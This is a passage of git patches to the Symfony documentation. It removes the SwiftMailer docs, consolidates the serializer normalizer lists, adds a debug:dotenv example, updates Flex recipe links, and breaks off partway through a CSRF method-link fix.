-You can also set the time limit in seconds:
-
-.. code-block:: terminal
-
-    $ APP_ENV=prod php bin/console swiftmailer:spool:send --time-limit=10
-
-In practice you will not want to run this manually. Instead, the console command
-should be triggered by a cron job or scheduled task and run at a regular
-interval.
-
-.. caution::
-
-    When you create a message with SwiftMailer, it generates a ``Swift_Message``
-    class. If the ``swiftmailer`` service is lazy loaded, it generates instead a
-    proxy class named ``Swift_Message_<someRandomCharacters>``.
-
-    If you use the memory spool, this change is transparent and has no impact.
-    But when using the filesystem spool, the message class is serialized in
-    a file with the randomized class name. The problem is that this random
-    class name changes on every cache clear.
-
-    So if you send a mail and then you clear the cache, on the next execution of
-    ``swiftmailer:spool:send`` an error will raise because the class
-    ``Swift_Message_<someRandomCharacters>`` doesn't exist (anymore).
-
-    The solutions are either to use the memory spool or to load the
-    ``swiftmailer`` service without the ``lazy`` option (see :doc:`/service_container/lazy_services`).
-
-How to Test that an Email is Sent in a Functional Test
-------------------------------------------------------
-
-Sending emails with Symfony is pretty straightforward thanks to the
-SwiftmailerBundle, which leverages the power of the `Swift Mailer`_ library.
-
-To functionally test that an email was sent, and even assert the email subject,
-content or any other headers, you can use :doc:`the Symfony Profiler </profiler>`.
-
-Start with a controller action that sends an email::
-
-    public function sendEmail($name, \Swift_Mailer $mailer)
-    {
-        $message = (new \Swift_Message('Hello Email'))
-            ->setFrom('send@example.com')
-            ->setTo('recipient@example.com')
-            ->setBody('You should see me from the profiler!')
-        ;
-
-        $mailer->send($message);
-
-        // ...
-    }
-
-In your functional test, use the ``swiftmailer`` collector on the profiler
-to get information about the messages sent on the previous request::
-
-    // tests/Controller/MailControllerTest.php
-    namespace App\Tests\Controller;
-
-    use Symfony\Bundle\FrameworkBundle\Test\WebTestCase;
-
-    class MailControllerTest extends WebTestCase
-    {
-        public function testMailIsSentAndContentIsOk()
-        {
-            $client = static::createClient();
-
-            // enables the profiler for the next request (it does nothing if the profiler is not available)
-            $client->enableProfiler();
-
-            $crawler = $client->request('POST', '/path/to/above/action');
-
-            $mailCollector = $client->getProfile()->getCollector('swiftmailer');
-
-            // checks that an email was sent
-            $this->assertSame(1, $mailCollector->getMessageCount());
-
-            $collectedMessages = $mailCollector->getMessages();
-            $message = $collectedMessages[0];
-
-            // Asserting email data
-            $this->assertInstanceOf('Swift_Message', $message);
-            $this->assertSame('Hello Email', $message->getSubject());
-            $this->assertSame('send@example.com', key($message->getFrom()));
-            $this->assertSame('recipient@example.com', key($message->getTo()));
-            $this->assertSame(
-                'You should see me from the profiler!',
-                $message->getBody()
-            );
-        }
-    }
-
-Troubleshooting
-~~~~~~~~~~~~~~~
-
-Problem: The Collector Object Is ``null``
-.........................................
-
-The email collector is only available when the profiler is enabled and collects
-information, as explained in :doc:`/testing/profiling`.
-
-Problem: The Collector Doesn't Contain the Email
-................................................
-
-If a redirection is performed after sending the email (for example when you send
-an email after a form is processed and before redirecting to another page), make
-sure that the test client doesn't follow the redirects, as explained in
-:doc:`/testing`. Otherwise, the collector will contain the information of the
-redirected page and the email won't be accessible.
-
-.. _`MailCatcher`: https://github.com/sj26/mailcatcher
-.. _`MailHog`: https://github.com/mailhog/MailHog
-.. _`Mailtrap`: https://mailtrap.io/
-.. _`Swift Mailer`: https://swiftmailer.symfony.com/
-.. _`SwiftMailerBundle`: https://github.com/symfony/swiftmailer-bundle
-.. _`Creating Messages`: https://swiftmailer.symfony.com/docs/messages.html
-.. _`Mandrill`: https://mandrill.com/
-.. _`SendGrid`: https://sendgrid.com/
-.. _`Amazon SES`: https://aws.amazon.com/ses/
-.. _`generate an App password`: https://support.google.com/accounts/answer/185833
-.. _`allow less secure applications to access your Gmail account`: https://support.google.com/accounts/answer/6010255
-.. _`RFC 3986`: https://www.ietf.org/rfc/rfc3986.txt
diff --git a/index.rst b/index.rst
index a4f512151f5..21617e0f1b4 100644
--- a/index.rst
+++ b/index.rst
@@ -37,7 +37,6 @@ Topics
     console
     doctrine
     deployment
-    email
     event_dispatcher
     forms
     frontend
diff --git a/mailer.rst b/mailer.rst
index 9d9361d2a60..99a7b865383 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -72,11 +72,6 @@ over SMTP by configuring the DSN in your ``.env`` file (the ``user``,
     encode them. See `RFC 3986`_ for the full list of reserved characters or use the
     :phpfunction:`urlencode` function to encode them.
 
-.. caution::
-
-    If you are migrating from Swiftmailer (and the Swiftmailer bundle), be
-    warned that the DSN format is different.
-
 Using Built-in Transports
 ~~~~~~~~~~~~~~~~~~~~~~~~~
 
diff --git a/reference/configuration/swiftmailer.rst b/reference/configuration/swiftmailer.rst
deleted file mode 100644
index 710c437ff55..00000000000
--- a/reference/configuration/swiftmailer.rst
+++ /dev/null
@@ -1,390 +0,0 @@
-.. index::
-    single: Configuration reference; Swift Mailer
-
-Mailer Configuration Reference (SwiftmailerBundle)
-==================================================
-
-The SwiftmailerBundle integrates the Swiftmailer library in Symfony applications
-to :doc:`send emails </email>`. All these options are configured under the
-``swiftmailer`` key in your application configuration.
-
-.. code-block:: terminal
-
-    # displays the default config values defined by Symfony
-    $ php bin/console config:dump-reference swiftmailer
-
-    # displays the actual config values used by your application
-    $ php bin/console debug:config swiftmailer
-
-.. note::
-
-    When using XML, you must use the ``http://symfony.com/schema/dic/swiftmailer``
-    namespace and the related XSD schema is available at:
-    ``https://symfony.com/schema/dic/swiftmailer/swiftmailer-1.0.xsd``
-
-Configuration
--------------
-
-.. rst-class:: list-config-options list-config-options--complex
-
-* `antiflood`_
-
-  * `sleep`_
-  * `threshold`_
-
-* `auth_mode`_
-* `command`_
-* `delivery_addresses`_
-* `delivery_whitelist`_
-* `disable_delivery`_
-* `encryption`_
-* `host`_
-* `local_domain`_
-* `logging`_
-* `password`_
-* `port`_
-* `sender_address`_
-* `source_ip`_
-* `spool`_
-
-  * `path`_
-  * `type`_
-
-* `timeout`_
-* `transport`_
-* `url`_
-* `username`_
-
-url
-~~~
-
-**type**: ``string``
-
-The entire SwiftMailer configuration using a DSN-like URL format.
-
-Example: ``smtp://user:pass@host:port/?timeout=60&encryption=ssl&auth_mode=login&...``
-
-transport
-~~~~~~~~~
-
-**type**: ``string`` **default**: ``smtp``
-
-The exact transport method to use to deliver emails. Valid values are:
-
-* smtp
-* gmail (see :ref:`email-using-gmail`)
-* mail (deprecated in SwiftMailer since version 5.4.5)
-* sendmail
-* null (same as setting `disable_delivery`_ to ``true``)
-
-username
-~~~~~~~~
-
-**type**: ``string``
-
-The username when using ``smtp`` as the transport.
-
-password
-~~~~~~~~
-
-**type**: ``string``
-
-The password when using ``smtp`` as the transport.
-
-command
-~~~~~~~~
-
-**type**: ``string`` **default**: ``/usr/sbin/sendmail -bs``
-
-Command to be executed by ``sendmail`` transport.
-
-host
-~~~~
-
-**type**: ``string`` **default**: ``localhost``
-
-The host to connect to when using ``smtp`` as the transport.
-
-port
-~~~~
-
-**type**: ``string`` **default**: 25 or 465 (depending on `encryption`_)
-
-The port when using ``smtp`` as the transport. This defaults to 465 if encryption
-is ``ssl`` and 25 otherwise.
-
-timeout
-~~~~~~~
-
-**type**: ``integer``
-
-The timeout in seconds when using ``smtp`` as the transport.
-
-source_ip
-~~~~~~~~~
-
-**type**: ``string``
-
-The source IP address when using ``smtp`` as the transport.
-
-local_domain
-~~~~~~~~~~~~
-
-**type**: ``string``
-
-.. versionadded:: 2.4.0
-
-    The ``local_domain`` option was introduced in SwiftMailerBundle 2.4.0.
-
-The domain name to use in ``HELO`` command.
-
-encryption
-~~~~~~~~~~
-
-**type**: ``string``
-
-The encryption mode to use when using ``smtp`` as the transport. Valid values
-are ``tls``, ``ssl``, or ``null`` (indicating no encryption).
-
-auth_mode
-~~~~~~~~~
-
-**type**: ``string``
-
-The authentication mode to use when using ``smtp`` as the transport. Valid
-values are ``plain``, ``login``, ``cram-md5``, ``ntlm`` or ``null``.
-
-spool
-~~~~~
-
-For details on email spooling, see :doc:`/mailer`.
-
-type
-....
-
-**type**: ``string`` **default**: ``file``
-
-The method used to store spooled messages. Valid values are ``memory`` and
-``file``. A custom spool should be possible by creating a service called
-``swiftmailer.spool.myspool`` and setting this value to ``myspool``.
-
-path
-....
-
-**type**: ``string`` **default**: ``%kernel.cache_dir%/swiftmailer/spool``
-
-When using the ``file`` spool, this is the path where the spooled messages
-will be stored.
-
-sender_address
-~~~~~~~~~~~~~~
-
-**type**: ``string``
-
-If set, all messages will be delivered with this address as the "return
-path" address, which is where bounced messages should go. This is handled
-internally by Swift Mailer's ``Swift_Plugins_ImpersonatePlugin`` class.
-
-antiflood
-~~~~~~~~~
-
-threshold
-.........
-
-**type**: ``integer`` **default**: ``99``
-
-Used with ``Swift_Plugins_AntiFloodPlugin``. This is the number of emails
-to send before restarting the transport.
-
-sleep
-.....
-
-**type**: ``integer`` **default**: ``0``
-
-Used with ``Swift_Plugins_AntiFloodPlugin``. This is the number of seconds
-to sleep for during a transport restart.
-
-.. _delivery-address:
-
-delivery_addresses
-~~~~~~~~~~~~~~~~~~
-
-**type**: ``array``
-
-If set, all email messages will be sent to these addresses instead of being sent
-to their actual recipients. This is often useful when developing. For example,
-by setting this in the ``config/packages/dev/swiftmailer.yaml`` file, you can
-guarantee that all emails sent during development go to one or more some
-specific accounts.
-
-This uses ``Swift_Plugins_RedirectingPlugin``. Original recipients are available
-on the ``X-Swift-To``, ``X-Swift-Cc`` and ``X-Swift-Bcc`` headers.
-
-delivery_whitelist
-~~~~~~~~~~~~~~~~~~
-
-**type**: ``array``
-
-Used in combination with ``delivery_address`` or ``delivery_addresses``. If set, emails matching any
-of these patterns will be delivered like normal, as well as being sent to
-``delivery_address`` or ``delivery_addresses``. For details, see the
-:ref:`How to Work with Emails during Development <sending-to-a-specified-address-but-with-exceptions>`
-article.
-
-disable_delivery
-~~~~~~~~~~~~~~~~
-
-**type**: ``boolean`` **default**: ``false``
-
-If true, the ``transport`` will automatically be set to ``null`` and no
-emails will actually be delivered.
-
-logging
-~~~~~~~
-
-**type**: ``boolean`` **default**: ``%kernel.debug%``
-
-If true, Symfony's data collector will be activated for Swift Mailer and
-the information will be available in the profiler.
-
-.. tip::
-
-    The following options can be set via environment variables: ``url``,
-    ``transport``, ``username``, ``password``, ``host``, ``port``, ``timeout``,
-    ``source_ip``, ``local_domain``, ``encryption``, ``auth_mode``. For details,
-    see: :ref:`config-env-vars`.
-
-Using Multiple Mailers
-----------------------
-
-You can configure multiple mailers by grouping them under the ``mailers``
-key (the default mailer is identified by the ``default_mailer`` option):
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        swiftmailer:
-            default_mailer: second_mailer
-            mailers:
-                first_mailer:
-                    # ...
-                second_mailer:
-                    # ...
-
-    .. code-block:: xml
-
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <container xmlns="http://symfony.com/schema/dic/services"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xmlns:swiftmailer="http://symfony.com/schema/dic/swiftmailer"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd
-                http://symfony.com/schema/dic/swiftmailer
-                https://symfony.com/schema/dic/swiftmailer/swiftmailer-1.0.xsd">
-
-            <swiftmailer:config default-mailer="second_mailer">
-                <swiftmailer:mailer name="first_mailer"/>
-                <swiftmailer:mailer name="second_mailer"/>
-            </swiftmailer:config>
-        </container>
-
-    .. code-block:: php
-
-        $container->loadFromExtension('swiftmailer', [
-            'default_mailer' => 'second_mailer',
-            'mailers' => [
-                'first_mailer' => [
-                    // ...
-                ],
-                'second_mailer' => [
-                    // ...
-                ],
-            ],
-        ]);
-
-Each mailer is registered automatically as a service with these IDs::
-
-    // ...
-
-    // returns the first mailer
-    $container->get('swiftmailer.mailer.first_mailer');
-
-    // also returns the second mailer since it is the default mailer
-    $container->get('swiftmailer.mailer');
-
-    // returns the second mailer
-    $container->get('swiftmailer.mailer.second_mailer');
-
-.. caution::
-
-    When configuring multiple mailers, options must be placed under the
-    appropriate mailer key of the configuration instead of directly under the
-    ``swiftmailer`` key.
-
-When using :ref:`autowiring <services-autowire>` only the default mailer is
-injected when type-hinting some argument with the ``\Swift_Mailer`` class. If
-you need to inject a different mailer in some service, use any of these
-alternatives based on the :ref:`service binding <services-binding>` feature:
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/services.yaml
-        services:
-            _defaults:
-                bind:
-                    # this injects the second mailer when type-hinting constructor arguments with \Swift_Mailer
-                    \Swift_Mailer: '@swiftmailer.mailer.second_mailer'
-                    # this injects the second mailer when a service constructor argument is called $specialMailer
-                    $specialMailer: '@swiftmailer.mailer.second_mailer'
-
-            App\Some\Service:
-                # this injects the second mailer only for this argument of this service
-                $differentMailer: '@swiftmailer.mailer.second_mailer'
-
-            # ...
-
-    .. code-block:: xml
-
-        <!-- config/services.xml -->
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <container xmlns="http://symfony.com/schema/dic/services"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd">
-
-            <services>
-                <defaults autowire="true" autoconfigure="true" public="false">
-                    <!-- this injects the second mailer when type-hinting constructor arguments with \Swift_Mailer -->
-                    <bind key="\Swift_Mailer">@swiftmailer.mailer.second_mailer</bind>
-                    <!-- this injects the second mailer when a service constructor argument is called $specialMailer -->
-                    <bind key="$specialMailer">@swiftmailer.mailer.second_mailer</bind>
-                </defaults>
-
-                <service id="App\Some\Service">
-                    <!-- this injects the second mailer only for this argument of this service -->
-                    <argument key="$differentMailer">@swiftmailer.mailer.second_mailer</argument>
-                </service>
-
-                <!-- ... -->
-            </services>
-        </container>
-
-    .. code-block:: php
-
-        // config/services.php
-        use App\Some\Service;
-        use Psr\Log\LoggerInterface;
-
-
-        $container->register(Service::class)
-            ->setPublic(true)
-            ->setBindings([
-                // this injects the second mailer when this service type-hints constructor arguments with \Swift_Mailer
-                \Swift_Mailer::class => '@swiftmailer.mailer.second_mailer',
-                // this injects the second mailer when this service has a constructor argument called $specialMailer
-                '$specialMailer' => '@swiftmailer.mailer.second_mailer',
-            ])
-        ;
diff --git a/reference/dic_tags.rst b/reference/dic_tags.rst
index 108e505e339..f69e92324a3 100644
--- a/reference/dic_tags.rst
+++ b/reference/dic_tags.rst
@@ -929,28 +929,6 @@ The priorities of the default normalizers can be found in the
 :method:`Symfony\\Bundle\\FrameworkBundle\\DependencyInjection\\FrameworkExtension::registerSerializerConfiguration`
 method.
 
-swiftmailer.default.plugin
---------------------------
-
-**Purpose**: Register a custom SwiftMailer Plugin
-
-If you're using a custom SwiftMailer plugin (or want to create one), you
-can register it with SwiftMailer by creating a service for your plugin and
-tagging it with ``swiftmailer.default.plugin`` (it has no options).
-
-.. note::
-
-    ``default`` in this tag is the name of the mailer. If you have multiple
-    mailers configured or have changed the default mailer name for some
-    reason, you should change it to the name of your mailer in order to
-    use this tag.
-
-A SwiftMailer plugin must implement the ``Swift_Events_EventListener`` interface.
-For more information on plugins, see `SwiftMailer's Plugin Documentation`_.
-
-Several SwiftMailer plugins are core to Symfony and can be activated via
-different configuration. For details, see :doc:`/reference/configuration/swiftmailer`.
-
 .. _dic-tags-translation-loader:
 
 translation.loader
@@ -1332,6 +1310,5 @@ For an example, see the ``DoctrineInitializer`` class inside the Doctrine
 Bridge.
 
 .. _`Twig's documentation`: https://twig.symfony.com/doc/2.x/advanced.html#creating-an-extension
-.. _`SwiftMailer's Plugin Documentation`: https://swiftmailer.symfony.com/docs/plugins.html
 .. _`Twig Loader`: https://twig.symfony.com/doc/2.x/api.html#loaders
 .. _`PHP class preloading`: https://www.php.net/manual/en/opcache.configuration.php#ini.opcache.preload
diff --git a/reference/index.rst b/reference/index.rst
index 82edbcc0130..6fdf3e6fa1b 100644
--- a/reference/index.rst
+++ b/reference/index.rst
@@ -7,7 +7,6 @@ Reference Documents
     configuration/framework
     configuration/doctrine
     configuration/security
-    configuration/swiftmailer
     configuration/twig
     configuration/monolog
     configuration/web_profiler
diff --git a/reference/map.rst.inc b/reference/map.rst.inc
index aa92cebc144..fa5155989a5 100644
--- a/reference/map.rst.inc
+++ b/reference/map.rst.inc
@@ -8,7 +8,6 @@
   * :doc:`framework </reference/configuration/framework>`
   * :doc:`doctrine </reference/configuration/doctrine>`
   * :doc:`security </reference/configuration/security>`
-  * :doc:`swiftmailer </reference/configuration/swiftmailer>`
   * :doc:`twig </reference/configuration/twig>`
   * :doc:`monolog </reference/configuration/monolog>`
   * :doc:`web_profiler </reference/configuration/web_profiler>`

From d76fe1d5d46e0ae74c064af88d88ecf930e7df78 Mon Sep 17 00:00:00 2001
From: HypeMC <hypemc@gmail.com>
Date: Sun, 4 Oct 2020 15:12:31 +0200
Subject: [PATCH 1095/5766] Remove duplicate normalizers docs

---
 components/serializer.rst        | 15 ++++++++++--
 serializer.rst                   | 39 ++++++++------------------------
 serializer/custom_normalizer.rst |  2 +-
 serializer/normalizers.rst       | 29 ++----------------------
 4 files changed, 26 insertions(+), 59 deletions(-)

diff --git a/components/serializer.rst b/components/serializer.rst
index aac67945db7..3e241b0d099 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -738,7 +738,8 @@ The Serializer component provides several built-in normalizers:
 :class:`Symfony\\Component\\Serializer\\Normalizer\\PropertyNormalizer`
     This normalizer directly reads and writes public properties as well as
     **private and protected** properties (from both the class and all of its
-    parent classes). It supports calling the constructor during the denormalization process.
+    parent classes) by using `PHP reflection`_. It supports calling the constructor
+    during the denormalization process.
 
     Objects are normalized to a map of property names to property values.
 
@@ -769,7 +770,7 @@ The Serializer component provides several built-in normalizers:
         The ``DateTimeZoneNormalizer`` was introduced in Symfony 4.3.
 
 :class:`Symfony\\Component\\Serializer\\Normalizer\\DataUriNormalizer`
-    This normalizer converts :phpclass:`SplFileInfo` objects into a data URI
+    This normalizer converts :phpclass:`SplFileInfo` objects into a `data URI`_
     string (``data:...``) such that files can be embedded into serialized data.
 
 :class:`Symfony\\Component\\Serializer\\Normalizer\\DateIntervalNormalizer`
@@ -781,9 +782,17 @@ The Serializer component provides several built-in normalizers:
     :class:`Symfony\\Component\\Validator\\ConstraintViolationListInterface`
     into a list of errors according to the `RFC 7807`_ standard.
 
+    .. versionadded:: 4.1
+
+        The ``ConstraintViolationListNormalizer`` was introduced in Symfony 4.1.
+
 :class:`Symfony\\Component\\Serializer\\Normalizer\\ProblemNormalizer`
     Normalizes errors according to the API Problem spec `RFC 7807`_.
 
+    .. versionadded:: 4.4
+
+        The ``ProblemNormalizer`` was introduced in Symfony 4.4.
+
 :class:`Symfony\\Component\\Serializer\\Normalizer\\CustomNormalizer`
     Normalizes a PHP object using an object that implements :class:`Symfony\\Component\\Serializer\\Normalizer\\NormalizableInterface`.
 
@@ -1601,3 +1610,5 @@ Learn more
 .. _`Value Objects`: https://en.wikipedia.org/wiki/Value_object
 .. _`API Platform`: https://api-platform.com
 .. _`list of PHP timezones`: https://www.php.net/manual/en/timezones.php
+.. _`PHP reflection`: https://php.net/manual/en/book.reflection.php
+.. _`data URI`: https://developer.mozilla.org/en-US/docs/Web/HTTP/Basics_of_HTTP/Data_URIs
diff --git a/serializer.rst b/serializer.rst
index 3518be26607..4216d619c15 100644
--- a/serializer.rst
+++ b/serializer.rst
@@ -57,36 +57,18 @@ Encoders supporting the following formats are enabled:
 
 As well as the following normalizers:
 
-* :class:`Symfony\\Component\\Serializer\\Normalizer\\ObjectNormalizer` to
-  handle typical data objects
-* :class:`Symfony\\Component\\Serializer\\Normalizer\\DateTimeNormalizer` for
-  objects implementing the :phpclass:`DateTimeInterface` interface
-* :class:`Symfony\\Component\\Serializer\\Normalizer\\DateTimeZoneNormalizer` for
-  :phpclass:`DateTimeZone` objects
+* :class:`Symfony\\Component\\Serializer\\Normalizer\\ObjectNormalizer`
+* :class:`Symfony\\Component\\Serializer\\Normalizer\\DateTimeNormalizer`
+* :class:`Symfony\\Component\\Serializer\\Normalizer\\DateTimeZoneNormalizer`
 * :class:`Symfony\\Component\\Serializer\\Normalizer\\DateIntervalNormalizer`
-  for :phpclass:`DateInterval` objects
-* :class:`Symfony\\Component\\Serializer\\Normalizer\\DataUriNormalizer` to
-  transform :phpclass:`SplFileInfo` objects in `Data URIs`_
+* :class:`Symfony\\Component\\Serializer\\Normalizer\\DataUriNormalizer`
 * :class:`Symfony\\Component\\Serializer\\Normalizer\\JsonSerializableNormalizer`
-  to deal with objects implementing the :phpclass:`JsonSerializable` interface
-* :class:`Symfony\\Component\\Serializer\\Normalizer\\ArrayDenormalizer` to
-  denormalize arrays of objects using a format like `MyObject[]` (note the `[]` suffix)
-* :class:`Symfony\\Component\\Serializer\\Normalizer\\ConstraintViolationListNormalizer` for objects implementing the :class:`Symfony\\Component\\Validator\\ConstraintViolationListInterface` interface
-* :class:`Symfony\\Component\\Serializer\\Normalizer\\ProblemNormalizer` for :class:`Symfony\\Component\\ErrorHandler\\Exception\\FlattenException` objects
+* :class:`Symfony\\Component\\Serializer\\Normalizer\\ArrayDenormalizer`
+* :class:`Symfony\\Component\\Serializer\\Normalizer\\ConstraintViolationListNormalizer`
+* :class:`Symfony\\Component\\Serializer\\Normalizer\\ProblemNormalizer`
 
-.. versionadded:: 4.1
-
-    The ``ConstraintViolationListNormalizer`` was introduced in Symfony 4.1.
-
-.. versionadded:: 4.3
-
-    The ``DateTimeZoneNormalizer`` was introduced in Symfony 4.3.
-
-.. versionadded:: 4.4
-
-    The ``ProblemNormalizer`` was introduced in Symfony 4.4.
-
-Custom normalizers and/or encoders can also be loaded by tagging them as
+Other :ref:`built-in normalizers <component-serializer-normalizers>` and
+custom normalizers and/or encoders can also be loaded by tagging them as
 :ref:`serializer.normalizer <reference-dic-tags-serializer-normalizer>` and
 :ref:`serializer.encoder <reference-dic-tags-serializer-encoder>`. It's also
 possible to set the priority of the tag in order to decide the matching order.
@@ -97,7 +79,7 @@ possible to set the priority of the tag in order to decide the matching order.
     ``DateTime`` or ``DateTimeImmutable`` classes to avoid excessive memory
     usage and exposing internal details.
 
-Here is an example on how to load the
+Here is an example on how to load the built-in
 :class:`Symfony\\Component\\Serializer\\Normalizer\\GetSetMethodNormalizer`, a
 faster alternative to the `ObjectNormalizer` when data objects always use
 getters (``getXxx()``), issers (``isXxx()``) or hassers (``hasXxx()``) to read
@@ -298,4 +280,3 @@ take a look at how this bundle works.
 .. _`GraphQL`: https://graphql.org
 .. _`JSON:API`: https://jsonapi.org
 .. _`HAL`: http://stateless.co/hal_specification.html
-.. _`Data URIs`: https://developer.mozilla.org/en-US/docs/Web/HTTP/Basics_of_HTTP/Data_URIs
diff --git a/serializer/custom_normalizer.rst b/serializer/custom_normalizer.rst
index a19dd7c8047..5814b1c7e4e 100644
--- a/serializer/custom_normalizer.rst
+++ b/serializer/custom_normalizer.rst
@@ -6,7 +6,7 @@ How to Create your Custom Normalizer
 
 The :doc:`Serializer component </components/serializer>` uses
 normalizers to transform any data into an array. The component provides several
-:doc:`built-in normalizers </serializer/normalizers>` but you may need to create
+:ref:`built-in normalizers <component-serializer-normalizers>` but you may need to create
 your own normalizer to transform an unsupported data structure.
 
 Creating a New Normalizer
diff --git a/serializer/normalizers.rst b/serializer/normalizers.rst
index af30532e48a..4e0b63a2ee6 100644
--- a/serializer/normalizers.rst
+++ b/serializer/normalizers.rst
@@ -21,30 +21,5 @@ Normalizers are enabled in the serializer passing them as its first argument::
 Built-in Normalizers
 --------------------
 
-Symfony includes the following normalizers but you can also
-:doc:`create your own normalizer </serializer/custom_normalizer>`:
-
-* :class:`Symfony\\Component\\Serializer\\Normalizer\\ObjectNormalizer` to
-  normalize PHP object using the :doc:`PropertyAccess component </components/property_access>`;
-* :class:`Symfony\\Component\\Serializer\\Normalizer\\DateTimeZoneNormalizer`
-  for :phpclass:`DateTimeZone` objects
-* :class:`Symfony\\Component\\Serializer\\Normalizer\\DateTimeNormalizer` for
-  objects implementing the :phpclass:`DateTimeInterface` interface
-* :class:`Symfony\\Component\\Serializer\\Normalizer\\DateIntervalNormalizer`
-  for :phpclass:`DateInterval` objects
-* :class:`Symfony\\Component\\Serializer\\Normalizer\\DataUriNormalizer` to
-  transform :phpclass:`SplFileInfo` objects in `Data URIs`_
-* :class:`Symfony\\Component\\Serializer\\Normalizer\\CustomNormalizer` to
-  normalize PHP object using an object that implements
-  :class:`Symfony\\Component\\Serializer\\Normalizer\\NormalizableInterface`;
-* :class:`Symfony\\Component\\Serializer\\Normalizer\\GetSetMethodNormalizer` to
-  normalize PHP object using the getter and setter methods of the object;
-* :class:`Symfony\\Component\\Serializer\\Normalizer\\PropertyNormalizer` to
-  normalize PHP object using `PHP reflection`_.
-* :class:`Symfony\\Component\\Serializer\\Normalizer\\ConstraintViolationListNormalizer` for objects implementing the :class:`Symfony\\Component\\Validator\\ConstraintViolationListInterface` interface
-* :class:`Symfony\\Component\\Serializer\\Normalizer\\ProblemNormalizer` for :class:`Symfony\\Component\\ErrorHandler\\Exception\\FlattenException` objects
-* :class:`Symfony\\Component\\Serializer\\Normalizer\\JsonSerializableNormalizer`
-  to deal with objects implementing the :phpclass:`JsonSerializable` interface
-
-.. _`Data URIs`: https://developer.mozilla.org/en-US/docs/Web/HTTP/Basics_of_HTTP/Data_URIs
-.. _`PHP reflection`: https://php.net/manual/en/book.reflection.php
+Symfony includes several types of :ref:`built-in normalizers <component-serializer-normalizers>`
+but you can also :doc:`create your own normalizer </serializer/custom_normalizer>`.

From 77d5506fcaa82316c8f8ff884d1e8a850e339bb6 Mon Sep 17 00:00:00 2001
From: Christopher Hertel <mail@christopher-hertel.de>
Date: Fri, 20 Aug 2021 15:54:07 +0200
Subject: [PATCH 1096/5766] extending env var list with debug:dotenv command

---
 configuration.rst | 33 +++++++++++++++++++++++++++++++--
 1 file changed, 31 insertions(+), 2 deletions(-)

diff --git a/configuration.rst b/configuration.rst
index e579b839474..f2270253937 100644
--- a/configuration.rst
+++ b/configuration.rst
@@ -718,8 +718,37 @@ you can encrypt the value using the :doc:`secrets management system </configurat
 Listing Environment Variables
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-Regardless of how you set environment variables, you can see a full list with
-their values by running:
+To understand how environment variables are set by the Dotenv component parsing various
+files, you can run the following command:
+
+.. code-block:: terminal
+
+    $ php bin/console debug:dotenv
+
+    Dotenv Variables & Files
+    ========================
+
+    Scanned Files (in descending priority)
+    --------------------------------------
+
+    * ⨯ .env.local.php
+    * ⨯ .env.dev.local
+    * ✓ .env.dev
+    * ⨯ .env.local
+    * ✓ .env
+
+    Variables
+    ---------
+
+    ---------- ------- ---------- ------
+     Variable   Value   .env.dev   .env
+    ---------- ------- ---------- ------
+     FOO        BAR     n/a        BAR
+     ALICE      BOB     BOB        bob
+    ---------- ------- ---------- ------
+
+Additionally, and regardless of how you set environment variables, you can see all
+environment variables, with their values, referenced in Symfony's container configuration:
 
 .. code-block:: terminal
 

From eeab284e40bfb429ab8cf85df3a374b25ff9e3a0 Mon Sep 17 00:00:00 2001
From: Mathieu Ducrot <mathieu.ducrot@smartbooster.io>
Date: Sat, 21 Aug 2021 18:05:59 +0200
Subject: [PATCH 1097/5766] Fix link reference in Upgrading to Symfony Flex

## Changelog

Update the link url for "default services.yaml", "copying Symfony's index.php source" and "copying Symfony's bin/console source" files to point to 4.4 since this is the targetted version.

\+ the previous link for the bin/console was actually a dead link 404
---
 setup/flex.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/setup/flex.rst b/setup/flex.rst
index 7d66cd1e37b..899bb6d3de5 100644
--- a/setup/flex.rst
+++ b/setup/flex.rst
@@ -189,9 +189,9 @@ If you customize these paths, some files copied from a recipe still may contain
 references to the original path. In other words: you may need to update some things
 manually after a recipe is installed.
 
-.. _`default services.yaml file`: https://github.com/symfony/recipes/blob/master/symfony/framework-bundle/3.3/config/services.yaml
+.. _`default services.yaml file`: https://github.com/symfony/recipes/blob/master/symfony/framework-bundle/4.4/config/services.yaml
 .. _`shown in this example`: https://github.com/symfony/skeleton/blob/8e33fe617629f283a12bbe0a6578bd6e6af417af/composer.json#L24-L33
 .. _`shown in this example of the skeleton-project`: https://github.com/symfony/skeleton/blob/8e33fe617629f283a12bbe0a6578bd6e6af417af/composer.json#L44-L46
-.. _`copying Symfony's index.php source`: https://github.com/symfony/recipes/blob/master/symfony/framework-bundle/3.4/public/index.php
-.. _`copying Symfony's bin/console source`: https://github.com/symfony/recipes/blob/master/symfony/console/3.4/bin/console
+.. _`copying Symfony's index.php source`: https://github.com/symfony/recipes/blob/master/symfony/framework-bundle/4.4/public/index.php
+.. _`copying Symfony's bin/console source`: https://github.com/symfony/recipes/blob/master/symfony/console/4.4/bin/console
 .. _`Symfony Requirements Checker`: https://github.com/symfony/requirements-checker

From d3377207920d3618c9064c0375499166a52a5470 Mon Sep 17 00:00:00 2001
From: Mathieu Ducrot <mathieu.ducrot@smartbooster.io>
Date: Sat, 21 Aug 2021 18:12:47 +0200
Subject: [PATCH 1098/5766] Fix method link to isCsrfTokenValid

## Changelog

Fix the method link from AbstractController.php to ControllerTrait.php because the method comes from the Trait.
---
 security/csrf.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/security/csrf.rst b/security/csrf.rst
index d79bb25e7fb..b68a4d84c39 100644
--- a/security/csrf.rst
+++ b/security/csrf.rst
@@ -150,7 +150,7 @@ generate a CSRF token in the template and store it as a hidden form field:
     </form>
 
 Then, get the value of the CSRF token in the controller action and use the
-:method:`Symfony\\Bundle\\FrameworkBundle\\Controller\\AbstractController::isCsrfTokenValid`
